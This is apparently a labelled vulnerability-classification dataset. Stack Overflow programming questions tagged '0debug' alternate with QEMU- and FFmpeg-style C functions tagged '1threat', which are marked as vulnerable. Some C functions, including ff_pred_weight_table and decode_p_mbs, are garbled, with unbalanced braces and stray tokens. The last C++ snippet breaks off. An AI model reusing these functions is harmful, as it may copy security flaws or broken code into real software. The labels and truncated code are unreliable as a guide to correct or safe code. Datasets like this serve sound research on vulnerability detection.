Google Rio 2016 Like Animation : <p>I'm currently building a new website, in which I would like to corporate something that Google is doing as well with some of their widgets (I'm sure other websites do as well.) </p>
<p>I would like to have the website to have an animation to another tab, a little like the Google GIF I included. I know how to do the animation, but it has to get to another tab without having to go to another tab while it shouldn't be clear it's reloading, which I don't know how to do. </p>
<p>Do any of you have any idea which framework or something I have to use? Should I use jQuery, or what else? I can look things up myself, but I would like to know how to get started with it, since I have no idea...</p>
<p><a href="http://i.stack.imgur.com/U0Em9.gif" rel="nofollow">Link to GIF with example</a></p>
<p>Thanks in advance,</p>
<p>R. Baauw</p>
| 0debug
|
size_t mptsas_config_manufacturing_1(MPTSASState *s, uint8_t **data, int address)
{
return MPTSAS_CONFIG_PACK(1, MPI_CONFIG_PAGETYPE_MANUFACTURING, 0x00,
"s256");
}
| 1threat
|
Code unexpectedly accepted by GHC/GHCi : <p>I don't understand why this code should pass type-checking:</p>
<pre><code>foo :: (Maybe a, Maybe b)
foo = let x = Nothing in (x,x)
</code></pre>
<p>Since each component is bound to the same variable <code>x</code>, I would expect that the most general type for this expression to be <code>(Maybe a, Maybe a)</code>. I get the same results if I use a <code>where</code> instead of a <code>let</code>. Am I missing something?</p>
| 0debug
|
The restaurant url on tripadvisor is encoded so I can't scrape it : <p>So I am trying to scrape a restaurant url on TripAdvisor. The problem is that when I find the link in the HTML for any restaurant it looks like it's encoded. For example on the this restaurant:</p>
<pre><code>https://www.tripadvisor.co.uk/Restaurant_Review-g186338-d13544747-Reviews-Amrutha_Lounge-London_England.html
</code></pre>
<p>The element where you can go directly to the website shows the following in the HTML.</p>
<pre><code>data-encoded-url="UEJDX2h0dHA6Ly93d3cuYW1ydXRoYS5jby51ay9fdkoz"
</code></pre>
<p>How can I get the actual website?</p>
| 0debug
|
void qmp_transaction(TransactionActionList *dev_list, Error **errp)
{
TransactionActionList *dev_entry = dev_list;
BlkTransactionState *state, *next;
Error *local_err = NULL;
QSIMPLEQ_HEAD(snap_bdrv_states, BlkTransactionState) snap_bdrv_states;
QSIMPLEQ_INIT(&snap_bdrv_states);
bdrv_drain_all();
while (NULL != dev_entry) {
TransactionAction *dev_info = NULL;
const BdrvActionOps *ops;
dev_info = dev_entry->value;
dev_entry = dev_entry->next;
assert(dev_info->kind < ARRAY_SIZE(actions));
ops = &actions[dev_info->kind];
state = g_malloc0(ops->instance_size);
state->ops = ops;
state->action = dev_info;
QSIMPLEQ_INSERT_TAIL(&snap_bdrv_states, state, entry);
state->ops->prepare(state, &local_err);
if (error_is_set(&local_err)) {
error_propagate(errp, local_err);
goto delete_and_fail;
}
}
QSIMPLEQ_FOREACH(state, &snap_bdrv_states, entry) {
if (state->ops->commit) {
state->ops->commit(state);
}
}
goto exit;
delete_and_fail:
QSIMPLEQ_FOREACH(state, &snap_bdrv_states, entry) {
if (state->ops->abort) {
state->ops->abort(state);
}
}
exit:
QSIMPLEQ_FOREACH_SAFE(state, &snap_bdrv_states, entry, next) {
if (state->ops->clean) {
state->ops->clean(state);
}
g_free(state);
}
}
| 1threat
|
Difference between File and Path of java.net.URL : <p>What is the diffecence between getFile() and getPath() of java.net.URL oject?</p>
| 0debug
|
static int encode_picture_ls(AVCodecContext *avctx, AVPacket *pkt,
const AVFrame *pict, int *got_packet)
{
const AVFrame *const p = pict;
const int near = avctx->prediction_method;
PutBitContext pb, pb2;
GetBitContext gb;
uint8_t *buf2, *zero, *cur, *last;
JLSState *state;
int i, size, ret;
int comps;
if (avctx->pix_fmt == AV_PIX_FMT_GRAY8 ||
avctx->pix_fmt == AV_PIX_FMT_GRAY16)
comps = 1;
else
comps = 3;
if ((ret = ff_alloc_packet(pkt, avctx->width * avctx->height * comps * 4 +
FF_MIN_BUFFER_SIZE)) < 0) {
av_log(avctx, AV_LOG_ERROR, "Error getting output packet.\n");
return ret;
}
buf2 = av_malloc(pkt->size);
init_put_bits(&pb, pkt->data, pkt->size);
init_put_bits(&pb2, buf2, pkt->size);
put_marker(&pb, SOI);
put_marker(&pb, SOF48);
put_bits(&pb, 16, 8 + comps * 3);
put_bits(&pb, 8, (avctx->pix_fmt == AV_PIX_FMT_GRAY16) ? 16 : 8);
put_bits(&pb, 16, avctx->height);
put_bits(&pb, 16, avctx->width);
put_bits(&pb, 8, comps);
for (i = 1; i <= comps; i++) {
put_bits(&pb, 8, i);
put_bits(&pb, 8, 0x11);
put_bits(&pb, 8, 0);
}
put_marker(&pb, SOS);
put_bits(&pb, 16, 6 + comps * 2);
put_bits(&pb, 8, comps);
for (i = 1; i <= comps; i++) {
put_bits(&pb, 8, i);
put_bits(&pb, 8, 0);
}
put_bits(&pb, 8, near);
put_bits(&pb, 8, (comps > 1) ? 1 : 0);
put_bits(&pb, 8, 0);
state = av_mallocz(sizeof(JLSState));
state->near = near;
state->bpp = (avctx->pix_fmt == AV_PIX_FMT_GRAY16) ? 16 : 8;
ff_jpegls_reset_coding_parameters(state, 0);
ff_jpegls_init_state(state);
ls_store_lse(state, &pb);
zero = av_mallocz(p->linesize[0]);
last = zero;
cur = p->data[0];
if (avctx->pix_fmt == AV_PIX_FMT_GRAY8) {
int t = 0;
for (i = 0; i < avctx->height; i++) {
ls_encode_line(state, &pb2, last, cur, t, avctx->width, 1, 0, 8);
t = last[0];
last = cur;
cur += p->linesize[0];
}
} else if (avctx->pix_fmt == AV_PIX_FMT_GRAY16) {
int t = 0;
for (i = 0; i < avctx->height; i++) {
ls_encode_line(state, &pb2, last, cur, t, avctx->width, 1, 0, 16);
t = *((uint16_t *)last);
last = cur;
cur += p->linesize[0];
}
} else if (avctx->pix_fmt == AV_PIX_FMT_RGB24) {
int j, width;
int Rc[3] = { 0, 0, 0 };
width = avctx->width * 3;
for (i = 0; i < avctx->height; i++) {
for (j = 0; j < 3; j++) {
ls_encode_line(state, &pb2, last + j, cur + j, Rc[j],
width, 3, j, 8);
Rc[j] = last[j];
}
last = cur;
cur += p->linesize[0];
}
} else if (avctx->pix_fmt == AV_PIX_FMT_BGR24) {
int j, width;
int Rc[3] = { 0, 0, 0 };
width = avctx->width * 3;
for (i = 0; i < avctx->height; i++) {
for (j = 2; j >= 0; j--) {
ls_encode_line(state, &pb2, last + j, cur + j, Rc[j],
width, 3, j, 8);
Rc[j] = last[j];
}
last = cur;
cur += p->linesize[0];
}
}
av_free(zero);
av_free(state);
put_bits(&pb2, 7, 0);
size = put_bits_count(&pb2);
flush_put_bits(&pb2);
init_get_bits(&gb, buf2, size);
size -= 7;
while (get_bits_count(&gb) < size) {
int v;
v = get_bits(&gb, 8);
put_bits(&pb, 8, v);
if (v == 0xFF) {
v = get_bits(&gb, 7);
put_bits(&pb, 8, v);
}
}
avpriv_align_put_bits(&pb);
av_free(buf2);
put_marker(&pb, EOI);
flush_put_bits(&pb);
emms_c();
pkt->size = put_bits_count(&pb) >> 3;
pkt->flags |= AV_PKT_FLAG_KEY;
*got_packet = 1;
return 0;
}
| 1threat
|
What are the disadvantages if I don't use mysqli_real_escape_string()? : <p>As per my knowledge If I don't use mysqli_real_escape_string() I may get a wrong entry in database. Correct me if I am wrong.</p>
<p>Are there any disadvantages?</p>
| 0debug
|
void helper_mtc0_hwrena(CPUMIPSState *env, target_ulong arg1)
{
env->CP0_HWREna = arg1 & 0x0000000F;
}
| 1threat
|
static void RENAME(decode_rgb_frame)(FFV1Context *s, uint8_t *src[3], int w, int h, int stride[3])
{
int x, y, p;
TYPE *sample[4][2];
int lbd = s->avctx->bits_per_raw_sample <= 8;
int bits = s->avctx->bits_per_raw_sample > 0 ? s->avctx->bits_per_raw_sample : 8;
int offset = 1 << bits;
for (x = 0; x < 4; x++) {
sample[x][0] = RENAME(s->sample_buffer) + x * 2 * (w + 6) + 3;
sample[x][1] = RENAME(s->sample_buffer) + (x * 2 + 1) * (w + 6) + 3;
}
s->run_index = 0;
memset(RENAME(s->sample_buffer), 0, 8 * (w + 6) * sizeof(*RENAME(s->sample_buffer)));
for (y = 0; y < h; y++) {
for (p = 0; p < 3 + s->transparency; p++) {
TYPE *temp = sample[p][0];
sample[p][0] = sample[p][1];
sample[p][1] = temp;
sample[p][1][-1]= sample[p][0][0 ];
sample[p][0][ w]= sample[p][0][w-1];
if (lbd && s->slice_coding_mode == 0)
RENAME(decode_line)(s, w, sample[p], (p + 1)/2, 9);
else
RENAME(decode_line)(s, w, sample[p], (p + 1)/2, bits + (s->slice_coding_mode != 1));
}
for (x = 0; x < w; x++) {
int g = sample[0][1][x];
int b = sample[1][1][x];
int r = sample[2][1][x];
int a = sample[3][1][x];
if (s->slice_coding_mode != 1) {
b -= offset;
r -= offset;
g -= (b * s->slice_rct_by_coef + r * s->slice_rct_ry_coef) >> 2;
b += g;
r += g;
}
if (lbd)
*((uint32_t*)(src[0] + x*4 + stride[0]*y)) = b + (g<<8) + (r<<16) + (a<<24);
else if (sizeof(TYPE) == 4) {
*((uint16_t*)(src[0] + x*2 + stride[0]*y)) = g;
*((uint16_t*)(src[1] + x*2 + stride[1]*y)) = b;
*((uint16_t*)(src[2] + x*2 + stride[2]*y)) = r;
} else {
*((uint16_t*)(src[0] + x*2 + stride[0]*y)) = b;
*((uint16_t*)(src[1] + x*2 + stride[1]*y)) = g;
*((uint16_t*)(src[2] + x*2 + stride[2]*y)) = r;
}
}
}
}
| 1threat
|
static void fill_prstatus(struct target_elf_prstatus *prstatus,
const TaskState *ts, int signr)
{
(void) memset(prstatus, 0, sizeof (*prstatus));
prstatus->pr_info.si_signo = prstatus->pr_cursig = signr;
prstatus->pr_pid = ts->ts_tid;
prstatus->pr_ppid = getppid();
prstatus->pr_pgrp = getpgrp();
prstatus->pr_sid = getsid(0);
#ifdef BSWAP_NEEDED
bswap_prstatus(prstatus);
#endif
}
| 1threat
|
sql query in sql server : please explain what this query is actually doing ?
select u.business_id,u.name, u.cusine,max(u.values1) from SOURCE_DATA u
unpivot
(
values1 for cusine in (Sandwiches, Pizza, Bars, Food, Mexican, Thai, Indian)
) u where u.values1 = 1 group by u.business_id,u.name, u.cusine order by u.name;
| 0debug
|
Basic Python syntax error for less than symbol : <p>Hi I'm learning python and I'm stuck making an age calculator. </p>
<p>I have to make an age calculator where it asks the user to enter their age in years and if the user is 100 or older, it tells them "You've already turned 100!". Otherwise, if they are less than 0, tell them "Try again when you are born!". If neither of these are the case, calculate the number of years until they turn 100 and output the message "You will be 100 in x years!" (Where "x" is replaced by the number of years before they turn 100). I must use an if/elif/else statement for this problem.</p>
<p>I've spent the past few hours researching, using PEP8 and stuff that I have found but still can't figure out how to do fix this or if I'm on the right track. Thank you in advance!</p>
<pre><code>1. age = input("Enter your current age in years: ")
2. if output = <100 input("You will be 100 in years!")
3.
</code></pre>
| 0debug
|
static int decode_p_mbs(VC9Context *v)
{
MpegEncContext *s = &v->s;
GetBitContext *gb = &v->s.gb;
int current_mb = 0, i;
uint8_t cbpcy[4], previous_cbpcy[4], predicted_cbpcy,
*p_cbpcy ;
int hybrid_pred;
int mv_mode_bit = 0;
int mqdiff, mquant;
int ttmb;
static const int size_table[6] = { 0, 2, 3, 4, 5, 8 },
offset_table[6] = { 0, 1, 3, 7, 15, 31 };
int mb_has_coeffs = 1;
int dmv_x, dmv_y;
int k_x, k_y;
int hpel_flag;
int index, index1;
int val, sign;
if (v->pq < 5) v->ttmb_vlc = &vc9_ttmb_vlc[0];
else if (v->pq < 13) v->ttmb_vlc = &vc9_ttmb_vlc[1];
else v->ttmb_vlc = &vc9_ttmb_vlc[2];
switch (v->mvrange)
{
case 1: k_x = 10; k_y = 9; break;
case 2: k_x = 12; k_y = 10; break;
case 3: k_x = 13; k_y = 11; break;
default: k_x = 9; k_y = 8; break;
}
hpel_flag = v->mv_mode & 1;
k_x -= hpel_flag;
k_y -= hpel_flag;
memset(v->previous_line_cbpcy, 0, s->mb_stride<<2);
for (s->mb_y=0; s->mb_y<s->mb_height; s->mb_y++)
{
*((uint32_t*)previous_cbpcy) = 0x00000000;
p_cbpcy = v->previous_line_cbpcy+4;
for (s->mb_x=0; s->mb_x<s->mb_width; s->mb_x++, p_cbpcy += 4)
{
if (v->mv_type_mb_plane.is_raw)
v->mv_type_mb_plane.data[current_mb] = get_bits(gb, 1);
if (v->skip_mb_plane.is_raw)
v->skip_mb_plane.data[current_mb] = get_bits(gb, 1);
if (!mv_mode_bit)
{
if (!v->skip_mb_plane.data[current_mb])
{
GET_MVDATA(dmv_x, dmv_y);
if (v->mv_mode == MV_PMODE_1MV ||
v->mv_mode == MV_PMODE_MIXED_MV)
hybrid_pred = get_bits(gb, 1);
if (s->mb_intra && !mb_has_coeffs)
{
GET_MQUANT();
s->ac_pred = get_bits(gb, 1);
}
else if (mb_has_coeffs)
{
if (s->mb_intra) s->ac_pred = get_bits(gb, 1);
predicted_cbpcy = get_vlc2(gb, v->cbpcy_vlc->table, VC9_CBPCY_P_VLC_BITS, 2);
cbpcy[0] = (p_cbpcy[-1] == p_cbpcy[2]) ? previous_cbpcy[1] : p_cbpcy[2];
cbpcy[0] ^= ((predicted_cbpcy>>5)&0x01);
cbpcy[1] = (p_cbpcy[2] == p_cbpcy[3]) ? cbpcy[0] : p_cbpcy[3];
cbpcy[1] ^= ((predicted_cbpcy>>4)&0x01);
cbpcy[2] = (previous_cbpcy[1] == cbpcy[0]) ? previous_cbpcy[3] : cbpcy[0];
cbpcy[2] ^= ((predicted_cbpcy>>3)&0x01);
cbpcy[3] = (cbpcy[1] == cbpcy[0]) ? cbpcy[2] : cbpcy[1];
cbpcy[3] ^= ((predicted_cbpcy>>2)&0x01);
GET_MQUANT();
}
if (!v->ttmbf)
ttmb = get_vlc2(gb, v->ttmb_vlc->table,
VC9_TTMB_VLC_BITS, 12);
}
else
{
if (v->mv_mode == MV_PMODE_1MV ||
v->mv_mode == MV_PMODE_MIXED_MV)
hybrid_pred = get_bits(gb, 1);
}
}
else
{
if (!v->skip_mb_plane.data[current_mb] )
{
GET_CBPCY(v->cbpcy_vlc->table, VC9_CBPCY_P_VLC_BITS);
for (i=0; i<4; i++)
{
if (cbpcy[i] )
{
GET_MVDATA(dmv_x, dmv_y);
}
if (v->mv_mode == MV_PMODE_MIXED_MV )
hybrid_pred = get_bits(gb, 1);
GET_MQUANT();
if (s->mb_intra &&
index )
s->ac_pred = get_bits(gb, 1);
if (!v->ttmbf)
ttmb = get_vlc2(gb, v->ttmb_vlc->table,
VC9_TTMB_VLC_BITS, 12);
}
}
else MB
{
for (i=0; i<4; i++)
{
if (v->mv_mode == MV_PMODE_MIXED_MV )
hybrid_pred = get_bits(gb, 1);
}
}
}
#if TRACE > 2
av_log(s->avctx, AV_LOG_DEBUG, "Block %4i: p_cbpcy=%i%i%i%i, previous_cbpcy=%i%i%i%i,"
" cbpcy=%i%i%i%i\n", current_mb,
p_cbpcy[0], p_cbpcy[1], p_cbpcy[2], p_cbpcy[3],
previous_cbpcy[0], previous_cbpcy[1], previous_cbpcy[2], previous_cbpcy[3],
cbpcy[0], cbpcy[1], cbpcy[2], cbpcy[3]);
#endif
*((uint32_t*)p_cbpcy) = *((uint32_t*)previous_cbpcy);
*((uint32_t*)previous_cbpcy) = *((uint32_t*)cbpcy);
current_mb++;
}
}
return 0;
}
| 1threat
|
static int mov_read_dref(MOVContext *c, AVIOContext *pb, MOVAtom atom)
{
AVStream *st;
MOVStreamContext *sc;
int entries, i, j;
if (c->fc->nb_streams < 1)
return 0;
st = c->fc->streams[c->fc->nb_streams-1];
sc = st->priv_data;
avio_rb32(pb);
entries = avio_rb32(pb);
if (entries > (atom.size - 1) / MIN_DATA_ENTRY_BOX_SIZE + 1 ||
entries >= UINT_MAX / sizeof(*sc->drefs))
return AVERROR_INVALIDDATA;
av_free(sc->drefs);
sc->drefs_count = 0;
sc->drefs = av_mallocz(entries * sizeof(*sc->drefs));
if (!sc->drefs)
return AVERROR(ENOMEM);
sc->drefs_count = entries;
for (i = 0; i < sc->drefs_count; i++) {
MOVDref *dref = &sc->drefs[i];
uint32_t size = avio_rb32(pb);
int64_t next = avio_tell(pb) + size - 4;
if (size < 12)
return AVERROR_INVALIDDATA;
dref->type = avio_rl32(pb);
avio_rb32(pb);
av_dlog(c->fc, "type %.4s size %d\n", (char*)&dref->type, size);
if (dref->type == MKTAG('a','l','i','s') && size > 150) {
uint16_t volume_len, len;
int16_t type;
avio_skip(pb, 10);
volume_len = avio_r8(pb);
volume_len = FFMIN(volume_len, 27);
avio_read(pb, dref->volume, 27);
dref->volume[volume_len] = 0;
av_log(c->fc, AV_LOG_DEBUG, "volume %s, len %d\n", dref->volume, volume_len);
avio_skip(pb, 12);
len = avio_r8(pb);
len = FFMIN(len, 63);
avio_read(pb, dref->filename, 63);
dref->filename[len] = 0;
av_log(c->fc, AV_LOG_DEBUG, "filename %s, len %d\n", dref->filename, len);
avio_skip(pb, 16);
dref->nlvl_from = avio_rb16(pb);
dref->nlvl_to = avio_rb16(pb);
av_log(c->fc, AV_LOG_DEBUG, "nlvl from %d, nlvl to %d\n",
dref->nlvl_from, dref->nlvl_to);
avio_skip(pb, 16);
for (type = 0; type != -1 && avio_tell(pb) < next; ) {
if(url_feof(pb))
return AVERROR_EOF;
type = avio_rb16(pb);
len = avio_rb16(pb);
av_log(c->fc, AV_LOG_DEBUG, "type %d, len %d\n", type, len);
if (len&1)
len += 1;
if (type == 2) {
av_free(dref->path);
dref->path = av_mallocz(len+1);
if (!dref->path)
return AVERROR(ENOMEM);
avio_read(pb, dref->path, len);
if (len > volume_len && !strncmp(dref->path, dref->volume, volume_len)) {
len -= volume_len;
memmove(dref->path, dref->path+volume_len, len);
dref->path[len] = 0;
}
for (j = 0; j < len; j++)
if (dref->path[j] == ':')
dref->path[j] = '/';
av_log(c->fc, AV_LOG_DEBUG, "path %s\n", dref->path);
} else if (type == 0) {
av_free(dref->dir);
dref->dir = av_malloc(len+1);
if (!dref->dir)
return AVERROR(ENOMEM);
avio_read(pb, dref->dir, len);
dref->dir[len] = 0;
for (j = 0; j < len; j++)
if (dref->dir[j] == ':')
dref->dir[j] = '/';
av_log(c->fc, AV_LOG_DEBUG, "dir %s\n", dref->dir);
} else
avio_skip(pb, len);
}
}
avio_seek(pb, next, SEEK_SET);
}
return 0;
}
| 1threat
|
Are there some pre-trained LSTM, RNN or ANN models for time-series prediction? : <p>I am trying to solve a time series prediction problem. I tried with ANN and LSTM, played around a lot with the various parameters, but all I could get was 8% better than the persistence prediction.</p>
<p>So I was wondering: since you can save models in keras; are there any pre-trained model (LSTM, RNN, or any other ANN) for time series prediction? If so, how to I get them? Are there in Keras?</p>
<p>I mean it would be super useful if there a website containing pre trained models, so that people wouldn't have to speent too much time training them..</p>
<p>Similarly, another question:</p>
<p>Is it possible to do the following?
1. Suppose I have a dataset now and I use it to train my model. Suppose that in a month, I will have access to another dataset (corresponding to same data or similar data, in the future possibly, but not exclusively). Will it be possible to continue training the model then? It is not the same thing as training it in batches. When you do it in batches you have all the data in one moment.
Is it possible? And how?</p>
| 0debug
|
static int set_params(AVFilterContext *ctx, const char *params)
{
Frei0rContext *frei0r = ctx->priv;
int i;
for (i = 0; i < frei0r->plugin_info.num_params; i++) {
f0r_param_info_t info;
char *param;
int ret;
frei0r->get_param_info(&info, i);
if (*params) {
if (!(param = av_get_token(¶ms, "|")))
return AVERROR(ENOMEM);
params++;
ret = set_param(ctx, info, i, param);
av_free(param);
if (ret < 0)
return ret;
}
av_log(ctx, AV_LOG_VERBOSE,
"idx:%d name:'%s' type:%s explanation:'%s' ",
i, info.name,
info.type == F0R_PARAM_BOOL ? "bool" :
info.type == F0R_PARAM_DOUBLE ? "double" :
info.type == F0R_PARAM_COLOR ? "color" :
info.type == F0R_PARAM_POSITION ? "position" :
info.type == F0R_PARAM_STRING ? "string" : "unknown",
info.explanation);
#ifdef DEBUG
av_log(ctx, AV_LOG_DEBUG, "value:");
switch (info.type) {
void *v;
double d;
char s[128];
f0r_param_color_t col;
f0r_param_position_t pos;
case F0R_PARAM_BOOL:
v = &d;
frei0r->get_param_value(frei0r->instance, v, i);
av_log(ctx, AV_LOG_DEBUG, "%s", d >= 0.5 && d <= 1.0 ? "y" : "n");
break;
case F0R_PARAM_DOUBLE:
v = &d;
frei0r->get_param_value(frei0r->instance, v, i);
av_log(ctx, AV_LOG_DEBUG, "%f", d);
break;
case F0R_PARAM_COLOR:
v = &col;
frei0r->get_param_value(frei0r->instance, v, i);
av_log(ctx, AV_LOG_DEBUG, "%f/%f/%f", col.r, col.g, col.b);
break;
case F0R_PARAM_POSITION:
v = &pos;
frei0r->get_param_value(frei0r->instance, v, i);
av_log(ctx, AV_LOG_DEBUG, "%f/%f", pos.x, pos.y);
break;
default:
v = s;
frei0r->get_param_value(frei0r->instance, v, i);
av_log(ctx, AV_LOG_DEBUG, "'%s'\n", s);
break;
}
#endif
av_log(ctx, AV_LOG_VERBOSE, "\n");
}
}
| 1threat
|
StringIndexOutOfBoundsException: length=2; regionStart=2; regionLength=2 android : Error String index out of bound exception i don't know how to solve it.. Please Help me in solving this issue
java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.muhammadshan.bmi/com.example.muhammadshan.bmi.result}: **java.lang.StringIndexOutOfBoundsException: length=2; regionStart=2; regionLength=2**
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2416)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2476)
at android.app.ActivityThread.-wrap11(ActivityThread.java)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:148)
at android.app.ActivityThread.main(ActivityThread.java:5417)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
Caused by: java.lang.StringIndexOutOfBoundsException: length=2; regionStart=2; regionLength=2
at java.lang.String.startEndAndLength(String.java:298)
at java.lang.String.substring(String.java:1087)
at com.example.muhammadshan.bmi.height.getSelectedHeight(height.java:89)
at com.example.muhammadshan.bmi.result.onCreate(result.java:38)
at android.app.Activity.performCreate(Activity.java:6237)
at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1107)
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2369)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2476)
at android.app.ActivityThread.-wrap11(ActivityThread.java)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344)
at android.os.Handler.dispatchMessage(Handler.java:102)
at android.os.Looper.loop(Looper.java:148)
at android.app.ActivityThread.main(ActivityThread.java:5417)
at java.lang.reflect.Method.invoke(Native Method)`[enter code here][1]`
[1]: https://i.stack.imgur.com/h5UDh.png
| 0debug
|
Please help me to understand the logic behind the assignment of variables : I am a newbie,I want to explore all the methods through which I can assign an operator
I tried many, in some I got error and some succeed,I am sharing the failed methods please help me with their explanations and logic
Method 1
#include <stdio.h>
int main(void) {
int a=b=c=6;
printf("%d\n",a);
printf("%d\n",b);
printf("%d\n",c);
return 0;
}
It displays an error:
prog.c:5:7: error: ‘b’ undeclared (first use in this function)
int a=b=c=6;
^
prog.c:5:7: note: each undeclared identifier is reported only once for
each function it appears in
prog.c:5:9: error: ‘c’ undeclared (first use in this function)
int a=b=c=6;
^
Method 2:
#include <stdio.h>
int main(void) {
int a,b,c;
printf("%d\n",a);
printf("%d\n",b);
printf("%d\n",c);
return 0;
}
My output is
0
0
0
Is this due to return 0?
Also , please add examples for better understanding, I will be thankful to you.
| 0debug
|
int ff_pred_weight_table(H264Context *h)
{
int list, i;
int luma_def, chroma_def;
h->use_weight = 0;
h->use_weight_chroma = 0;
h->luma_log2_weight_denom = get_ue_golomb(&h->gb);
if (h->sps.chroma_format_idc)
h->chroma_log2_weight_denom = get_ue_golomb(&h->gb);
luma_def = 1 << h->luma_log2_weight_denom;
chroma_def = 1 << h->chroma_log2_weight_denom;
for (list = 0; list < 2; list++) {
h->luma_weight_flag[list] = 0;
h->chroma_weight_flag[list] = 0;
for (i = 0; i < h->ref_count[list]; i++) {
int luma_weight_flag, chroma_weight_flag;
luma_weight_flag = get_bits1(&h->gb);
if (luma_weight_flag) {
h->luma_weight[i][list][0] = get_se_golomb(&h->gb);
h->luma_weight[i][list][1] = get_se_golomb(&h->gb);
if (h->luma_weight[i][list][0] != luma_def ||
h->luma_weight[i][list][1] != 0) {
h->use_weight = 1;
h->luma_weight_flag[list] = 1;
} else {
h->luma_weight[i][list][0] = luma_def;
h->luma_weight[i][list][1] = 0;
if (h->sps.chroma_format_idc) {
chroma_weight_flag = get_bits1(&h->gb);
if (chroma_weight_flag) {
int j;
for (j = 0; j < 2; j++) {
h->chroma_weight[i][list][j][0] = get_se_golomb(&h->gb);
h->chroma_weight[i][list][j][1] = get_se_golomb(&h->gb);
if (h->chroma_weight[i][list][j][0] != chroma_def ||
h->chroma_weight[i][list][j][1] != 0) {
h->use_weight_chroma = 1;
h->chroma_weight_flag[list] = 1;
} else {
int j;
for (j = 0; j < 2; j++) {
h->chroma_weight[i][list][j][0] = chroma_def;
h->chroma_weight[i][list][j][1] = 0;
if (h->slice_type_nos != AV_PICTURE_TYPE_B)
break;
h->use_weight = h->use_weight || h->use_weight_chroma;
return 0;
| 1threat
|
arrow keys navigation to input text which inside a div in js : *emphasized text*
http://jsfiddle.net/uJ4PJ/
I used this jsfiddle for arrow key navigation,(for same function) but if I use this html, how can I do the same ?(I have to skip br tag)
<div class='move'>
<input type="text" /><br>
<input type="text" /><br>
<input type="text" />
</div>
Thanks in Advance.
| 0debug
|
total number of records and their reason sql server : I want to write a query that get total number of records(booking) using COUNT(*) function, i have a column in DB "Type" and in the next column i want to show type of record e.g output of query be like
Total Booking -> 10
Booking Type -> 3 wedding, 4 Birthday Party, 3 family Event (this will be in single cell next to total Booking)
someone please help me.. Thanks
| 0debug
|
ram_addr_t migration_bitmap_find_and_reset_dirty(MemoryRegion *mr,
ram_addr_t start)
{
unsigned long base = mr->ram_addr >> TARGET_PAGE_BITS;
unsigned long nr = base + (start >> TARGET_PAGE_BITS);
uint64_t mr_size = TARGET_PAGE_ALIGN(memory_region_size(mr));
unsigned long size = base + (mr_size >> TARGET_PAGE_BITS);
unsigned long next;
if (ram_bulk_stage && nr > base) {
next = nr + 1;
} else {
next = find_next_bit(migration_bitmap, size, nr);
}
if (next < size) {
clear_bit(next, migration_bitmap);
migration_dirty_pages--;
}
return (next - base) << TARGET_PAGE_BITS;
}
| 1threat
|
how to sort an array that contain second order in python? : for instance, I have an array like:
[[1,1,0],[1,0,1],[0,0,0]
first to sort the first element, and then if the first element are same ,sort the second element, and then if the second elements are same sort for third, forth....
the result should like this:
[[0,0,0],[1,0,1],[1,1,0]
obviously, the `sorted` function cannot solve this problem easily even if use `key=...`
| 0debug
|
QEMUTimer *qemu_new_timer(QEMUClock *clock, QEMUTimerCB *cb, void *opaque)
{
QEMUTimer *ts;
ts = qemu_mallocz(sizeof(QEMUTimer));
ts->clock = clock;
ts->cb = cb;
ts->opaque = opaque;
return ts;
}
| 1threat
|
static int seek_test(const char *input_filename, const char *start, const char *end)
{
AVCodec *codec = NULL;
AVCodecContext *ctx= NULL;
AVCodecParameters *origin_par = NULL;
AVFrame *fr = NULL;
AVFormatContext *fmt_ctx = NULL;
int video_stream;
int result;
int i, j;
long int start_ts, end_ts;
size_of_array = 0;
number_of_elements = 0;
crc_array = pts_array = NULL;
result = avformat_open_input(&fmt_ctx, input_filename, NULL, NULL);
if (result < 0) {
av_log(NULL, AV_LOG_ERROR, "Can't open file\n");
return result;
}
result = avformat_find_stream_info(fmt_ctx, NULL);
if (result < 0) {
av_log(NULL, AV_LOG_ERROR, "Can't get stream info\n");
return result;
}
start_ts = read_seek_range(start);
end_ts = read_seek_range(end);
if ((start_ts < 0) || (end_ts < 0))
return -1;
video_stream = av_find_best_stream(fmt_ctx, AVMEDIA_TYPE_VIDEO, -1, -1, NULL, 0);
if (video_stream < 0) {
av_log(NULL, AV_LOG_ERROR, "Can't find video stream in input file\n");
return -1;
}
origin_par = fmt_ctx->streams[video_stream]->codecpar;
codec = avcodec_find_decoder(origin_par->codec_id);
if (!codec) {
av_log(NULL, AV_LOG_ERROR, "Can't find decoder\n");
return -1;
}
ctx = avcodec_alloc_context3(codec);
if (!ctx) {
av_log(NULL, AV_LOG_ERROR, "Can't allocate decoder context\n");
return AVERROR(ENOMEM);
}
result = avcodec_parameters_to_context(ctx, origin_par);
if (result) {
av_log(NULL, AV_LOG_ERROR, "Can't copy decoder context\n");
return result;
}
result = avcodec_open2(ctx, codec, NULL);
if (result < 0) {
av_log(ctx, AV_LOG_ERROR, "Can't open decoder\n");
return result;
}
fr = av_frame_alloc();
if (!fr) {
av_log(NULL, AV_LOG_ERROR, "Can't allocate frame\n");
return AVERROR(ENOMEM);
}
result = compute_crc_of_packets(fmt_ctx, video_stream, ctx, fr, 0, 0, 1);
if (result != 0)
return -1;
for (i = start_ts; i < end_ts; i += 100) {
for (j = i + 100; j < end_ts; j += 100)
result = compute_crc_of_packets(fmt_ctx, video_stream, ctx, fr, i, j, 0);
if (result != 0)
return -1;
}
av_freep(&crc_array);
av_freep(&pts_array);
av_frame_free(&fr);
avcodec_close(ctx);
avformat_close_input(&fmt_ctx);
avcodec_free_context(&ctx);
return 0;
}
| 1threat
|
C++ lambda ´this´ pointer invalidation after move operation : <p>I have the following (simplified) code in my current project:</p>
<pre><code>#include <iostream>
#include <string>
#include <functional>
#include <vector>
class Test{
public:
Test() = default;
Test(const Test& other) = delete;
Test& operator=(const Test& other) = delete;
Test(Test&& other) = default;
Test& operator=(Test&& other) = default;
void setFunction(){
lambda = [this](){
a = 2;
};
}
int callAndReturn(){
lambda();
return a;
}
private:
